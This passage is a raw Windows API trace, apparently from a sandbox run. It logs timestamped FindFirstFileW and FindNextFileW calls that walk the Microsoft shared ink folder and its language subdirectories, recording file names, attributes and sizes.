ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x82, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="it-IT", cAlternateFileName="")) returned 1 [0163.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b50 [0163.776] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.776] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.776] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.776] FindClose (in: hFindFile=0x1d1b50 | out: hFindFile=0x1d1b50) returned 1 [0163.776] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.776] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0163.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b10 [0163.777] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.777] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.777] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.777] FindClose (in: hFindFile=0x1d1b10 | out: hFindFile=0x1d1b10) returned 1 [0163.777] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.777] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0163.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1810 [0163.777] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.777] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.778] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.778] FindClose (in: hFindFile=0x1d1810 | out: hFindFile=0x1d1810) returned 1 [0163.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.778] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0163.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1650 [0163.778] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.778] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0163.778] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0163.778] FindClose (in: hFindFile=0x1d1650 | out: hFindFile=0x1d1650) returned 1 [0163.779] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.779] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0163.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1950 [0163.779] FindNextFileW (in: hFindFile=0x1d1950, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.779] FindNextFileW (in: hFindFile=0x1d1950, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.779] FindNextFileW (in: hFindFile=0x1d1950, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.779] FindClose (in: hFindFile=0x1d1950 | out: hFindFile=0x1d1950) returned 1 [0163.779] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.779] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0163.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b90 [0163.779] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.780] FindClose (in: hFindFile=0x1d1b90 | out: hFindFile=0x1d1b90) returned 1 [0163.780] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x82, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x82, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x82, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0163.780] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, 